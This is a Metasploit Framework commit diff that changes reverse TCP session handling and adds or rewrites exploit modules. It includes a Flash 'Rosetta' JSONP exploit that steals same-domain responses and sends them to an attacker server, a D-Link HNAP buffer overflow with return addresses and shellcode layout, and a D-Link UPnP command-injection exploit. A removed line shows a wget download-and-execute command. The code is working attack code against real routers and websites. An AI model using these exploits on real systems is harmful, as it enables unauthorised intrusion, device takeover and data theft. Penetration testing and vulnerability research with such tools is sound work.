Merge master

bug/bundler_fix
jvazquez-r7 2014-07-11 11:40:39 -05:00
commit 6fd1ff6870
10 changed files with 598 additions and 210 deletions

View File

@ -55,11 +55,12 @@ module ReverseTcp
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]) OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]),
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
], Msf::Handler::ReverseTcp) ], Msf::Handler::ReverseTcp)
self.handler_queue = ::Queue.new self.handler_queue = ::Queue.new
self.conn_threads = []
end end
# #
@ -124,6 +125,12 @@ module ReverseTcp
# #
def cleanup_handler def cleanup_handler
stop_handler stop_handler
# Kill any remaining handle_connection threads that might
# be hanging around
conn_threads.each { |thr|
thr.kill rescue nil
}
end end
# #
@ -154,7 +161,13 @@ module ReverseTcp
while true while true
client = self.handler_queue.pop client = self.handler_queue.pop
begin begin
handle_connection(wrap_aes_socket(client)) if datastore['ReverseListenerThreaded']
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy|
handle_connection(wrap_aes_socket(client_copy))
}
else
handle_connection(wrap_aes_socket(client))
end
rescue ::Exception rescue ::Exception
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
end end
@ -261,6 +274,7 @@ protected
attr_accessor :listener_thread # :nodoc: attr_accessor :listener_thread # :nodoc:
attr_accessor :handler_thread # :nodoc: attr_accessor :handler_thread # :nodoc:
attr_accessor :handler_queue # :nodoc: attr_accessor :handler_queue # :nodoc:
attr_accessor :conn_threads # :nodoc:
end end
end end

View File

@ -83,7 +83,7 @@ module ReverseTcpDouble
# Kill any remaining handle_connection threads that might # Kill any remaining handle_connection threads that might
# be hanging around # be hanging around
conn_threads.each { |thr| conn_threads.each { |thr|
thr.kill thr.kill rescue nil
} }
end end
@ -105,9 +105,6 @@ module ReverseTcpDouble
client_b = self.listener_sock.accept client_b = self.listener_sock.accept
print_status("Accepted the second client connection...") print_status("Accepted the second client connection...")
sock_inp, sock_out = detect_input_output(client_a, client_b)
rescue rescue
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
return nil return nil
@ -119,9 +116,10 @@ module ReverseTcpDouble
# Start a new thread and pass the client connection # Start a new thread and pass the client connection
# as the input and output pipe. Client's are expected # as the input and output pipe. Client's are expected
# to implement the Stream interface. # to implement the Stream interface.
conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy|
begin begin
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp_copy, sock_out_copy) sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out)
handle_connection(chan.lsock) handle_connection(chan.lsock)
rescue rescue
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")

View File

@ -84,7 +84,7 @@ module ReverseTcpDoubleSSL
# Kill any remaining handle_connection threads that might # Kill any remaining handle_connection threads that might
# be hanging around # be hanging around
conn_threads.each { |thr| conn_threads.each { |thr|
thr.kill thr.kill rescue nil
} }
end end
@ -106,9 +106,6 @@ module ReverseTcpDoubleSSL
client_b = self.listener_sock.accept client_b = self.listener_sock.accept
print_status("Accepted the second client connection...") print_status("Accepted the second client connection...")
sock_inp, sock_out = detect_input_output(client_a, client_b)
rescue rescue
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
return nil return nil
@ -120,9 +117,10 @@ module ReverseTcpDoubleSSL
# Start a new thread and pass the client connection # Start a new thread and pass the client connection
# as the input and output pipe. Client's are expected # as the input and output pipe. Client's are expected
# to implement the Stream interface. # to implement the Stream interface.
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy|
begin begin
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out)
handle_connection(chan.lsock) handle_connection(chan.lsock)
rescue rescue
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")

View File

@ -1139,7 +1139,7 @@ protected
# Merges the module description. # Merges the module description.
# #
def merge_info_description(info, val) def merge_info_description(info, val)
merge_info_string(info, 'Description', val) merge_info_string(info, 'Description', val, ". ", true)
end end
# #

View File

@ -0,0 +1,202 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'open-uri'
require 'uri'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',
'Description' => %q{
A website that serves a JSONP endpoint that accepts a custom alphanumeric
callback of 1200 chars can be abused to serve an encoded swf payload that
steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.
This module spins up a web server that, upon navigation from a user, attempts
to abuse the specified JSONP endpoint URLs by stealing the response from
GET requests to STEAL_URLS.
},
'License' => MSF_LICENSE,
'Author' => [
'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure
'joev' # msf module
],
'References' =>
[
['CVE', '2014-4671'],
['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],
['URL', 'https://github.com/mikispag/rosettaflash'],
['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/']
],
'DisclosureDate' => 'Jul 8 2014',
'Actions' => [ [ 'WebServer' ] ],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'))
register_options(
[
OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),
OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),
OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),
OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]),
OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])
],
self.class)
end
def run
if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe
raise "JSONP endpoint does not allow sufficiently long callback names."
end
unless datastore['URIPATH'] == '/'
raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
end
exploit
end
def check
test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
io = open(exploit_url(test_string))
if io.read.start_with? test_string
Msf::Exploit::CheckCode::Vulnerable
else
Msf::Exploit::CheckCode::Safe
end
end
def on_request_uri(cli, request)
vprint_status("Request '#{request.method} #{request.uri}'")
if request.uri.end_with? 'crossdomain.xml'
print_status "Responding to crossdomain request.."
send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
elsif request.uri.end_with? '.log'
body = URI.decode(request.body)
file = store_loot(
"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"
)
url = body.lines.first.gsub(/.*?=/,'')
print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"
print_good "Stored in #{file}"
else
print_status "Serving exploit HTML"
send_response_html(cli, exploit_html)
end
end
def exploit_url(data_payload)
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
end
def exploit_html
ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')
%Q|
<!doctype html>
<html>
<body>
<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"
width=500 height=500>
<param name="FlashVars"
value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" />
</object>
</body>
</html>
|
end
# Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
#
# Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:
#
# class X {
# static var app : X;
#
# function getURL(url:String) {
# var r:LoadVars = new LoadVars();
# r.onData = function(src:String) {
# if (_root.exfiltrate) {
# var w:LoadVars = new LoadVars();
# w.x = url+"\n"+src;
# w.sendAndLoad(_root.exfiltrate, w, "POST");
# }
# }
# r.load(url, r, "GET");
# }
#
# function X(mc) {
# if (_root.url) {
# var urls:Array = _root.url.split(",");
# for (var i in urls) {
# getURL(urls[i]);
# }
# }
# }
#
# // entry point
# static function main(mc) {
# app = new X(mc);
# }
# }
#
#
# Compiling the .as using mtasc and swftool:
#
# > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
# $ swfcombine -d out.swf -o out-uncompressed.swf
# $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf
#
def encoded_swf
"CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \
"sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \
"nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \
"oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \
"BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \
"WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \
"8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \
"HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \
"HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \
"DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \
"HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \
"Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \
"DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \
"XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \
"p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \
"sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \
"sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \
"tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \
"7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \
"HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \
"wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \
"HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \
"wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \
"HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \
"CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \
"33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \
"gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \
"nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"
end
def crossdomain_xml
%Q|
<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
|
end
def rhost
URI.parse(datastore["JSONP_URL"]).host
end
end

View File

@ -0,0 +1,152 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link HNAP Request Remote Buffer Overflow',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on different
D-Link devices. The vulnerability is due to an stack based buffer overflow while
handling malicious HTTP POST requests addressed to the HNAP handler. This module
has been successfully tested on D-Link DIR-505 in an emulated environment.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery and initial exploit
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'References' =>
[
['CVE', '2014-3936'],
['BID', '67651'],
['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029']
],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
[ 'D-Link DSP-W215 - v1.0',
{
'Offset' => 1000000,
'Ret' => "\x00\x40\x5C\xAC", # jump to system - my_cgi.cgi
}
],
[ 'D-Link DIR-505 - v1.06',
{
'Offset' => 30000,
'Ret' => "\x00\x40\x52\x34", # jump to system - my_cgi.cgi
}
],
[ 'D-Link DIR-505 - v1.07',
{
'Offset' => 30000,
'Ret' => "\x00\x40\x5C\x5C", # jump to system - my_cgi.cgi
}
]
],
'DisclosureDate' => 'May 15 2014',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'uri' => "/HNAP1/",
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code)
if res.body =~ /DIR-505/ && res.body =~ /1.07/
@my_target = targets[3] if target['auto']
return Exploit::CheckCode::Appears
elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
@my_target = targets[2] if target['auto']
return Exploit::CheckCode::Appears
elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
@my_target = targets[1] if target['auto']
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")
@my_target = target
check_code = check
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device")
end
if @my_target.nil? || @my_target['auto']
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
end
print_status("#{peer} - Exploiting #{@my_target.name}...")
execute_cmdstager(
:flavor => :echo,
:linemax => 185
)
end
def prepare_shellcode(cmd)
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
buf << rand_text_alpha_upper(4) # $s0, don't care
buf << rand_text_alpha_upper(4) # $s1, don't care
buf << rand_text_alpha_upper(4) # $s2, don't care
buf << rand_text_alpha_upper(4) # $s3, don't care
buf << rand_text_alpha_upper(4) # $s4, don't care
buf << @my_target['Ret'] # $ra
# la $t9, system
# la $s1, 0x440000
# jalr $t9 ; system
# addiu $a0, $sp, 0x28 # our command
buf << rand_text_alpha_upper(40) # Stack filler
buf << cmd # Command to execute
buf << "\x00" # NULL-terminate the command
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/HNAP1/",
'encode_params' => false,
'data' => shellcode
}, 5)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

View File

@ -6,13 +6,10 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::CommandShell
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -20,202 +17,105 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{ 'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command when using the CMD target. Additionally, a target output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
to deploy a native mipsel payload, when wget is available on the target device, has
been added. This module has been tested on DIR-865 and DIR-645 devices.
}, },
'Author' => 'Author' =>
[ [
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module 'juan vazquez' # minor help with msf module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'OSVDB', '94924' ], ['OSVDB', '94924'],
[ 'BID', '61005' ], ['BID', '61005'],
[ 'EDB', '26664' ], ['EDB', '26664'],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] ['URL', 'http://www.s3cur1ty.de/m1adv2013-020']
], ],
'DisclosureDate' => 'Jul 05 2013', 'DisclosureDate' => 'Jul 05 2013',
'Privileged' => true, 'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' => 'Payload' =>
{ {
'DisableNops' => true, 'DisableNops' => true
}, },
'Targets' => 'Targets' =>
[ [
[ 'CMD', #all devices [ 'MIPS Little Endian',
{ {
'Arch' => ARCH_CMD, 'Platform' => 'linux',
'Platform' => 'unix' 'Arch' => ARCH_MIPSLE
} }
], ],
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
{ {
'Arch' => ARCH_MIPSLE, 'Platform' => 'linux',
'Platform' => 'linux' 'Arch' => ARCH_MIPS
} }
], ],
], ],
'DefaultTarget' => 1 'DefaultTarget' => 0
)) ))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
register_options( register_options(
[ [
Opt::RPORT(49152), #port of UPnP SOAP webinterface Opt::RPORT(49152) # port of UPnP SOAP webinterface
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
], self.class) ], self.class)
end end
def check
begin
res = send_request_cgi({
'uri' => '/InternetGatewayDevice.xml'
})
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit def exploit
@new_portmapping_descr = rand_text_alpha(8) print_status("#{peer} - Trying to access the device ...")
@new_external_port = rand(65535)
@new_internal_port = rand(65535)
if target.name =~ /CMD/ unless check == Exploit::CheckCode::Detected
exploit_cmd fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
else
exploit_mips
end end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 400
)
end end
def exploit_cmd def execute_command(cmd, opts)
if not (datastore['CMD']) new_portmapping_descr = rand_text_alpha(8)
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") new_external_port = rand(32767) + 32768
end new_internal_port = rand(32767) + 32768
cmd = payload.encoded
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
return
end
def exploit_mips
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
# do not use SSL for this part
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
# Restore SSL preference
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
end
def request(cmd, type)
uri = '/soap.cgi' uri = '/soap.cgi'
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
data_cmd = "<?xml version=\"1.0\"?>" data_cmd = "<?xml version=\"1.0\"?>"
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data_cmd << "<SOAP-ENV:Body>" data_cmd << "<SOAP-ENV:Body>"
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
if type == "add" data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
vprint_status("#{rhost}:#{rport} - adding portmapping") data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" data_cmd << "<NewEnabled>1</NewEnabled>"
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" data_cmd << "<NewRemoteHost></NewRemoteHost>"
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>" data_cmd << "<NewProtocol>TCP</NewProtocol>"
data_cmd << "<NewLeaseDuration></NewLeaseDuration>" data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>" data_cmd << "</m:AddPortMapping>"
data_cmd << "<NewEnabled>1</NewEnabled>"
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
data_cmd << "<NewRemoteHost></NewRemoteHost>"
data_cmd << "<NewProtocol>TCP</NewProtocol>"
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
data_cmd << "</m:AddPortMapping>"
else
#we should clean it up ... otherwise we are not able to exploit it multiple times
vprint_status("#{rhost}:#{rport} - deleting portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
data_cmd << "</m:DeletePortMapping>"
end
data_cmd << "</SOAP-ENV:Body>" data_cmd << "</SOAP-ENV:Body>"
data_cmd << "</SOAP-ENV:Envelope>" data_cmd << "</SOAP-ENV:Envelope>"
@ -232,36 +132,9 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'data' => data_cmd 'data' => data_cmd
}) })
return res return res
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
return nil
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
end
end end
end end
end end

View File

@ -4,12 +4,17 @@
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/module/deprecated'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
DEPRECATION_DATE = Date.new(2014, 9, 11)
DEPRECATION_REPLACEMENT = 'exploits/linux/http/dlink_upnp_exec_noauth'
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -22,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Author' => 'Author' =>
[ [
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module 'juan vazquez' # minor help with msf module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,

View File

@ -0,0 +1,146 @@
##
# This module requires Metasploit: http//metasploit.com/download
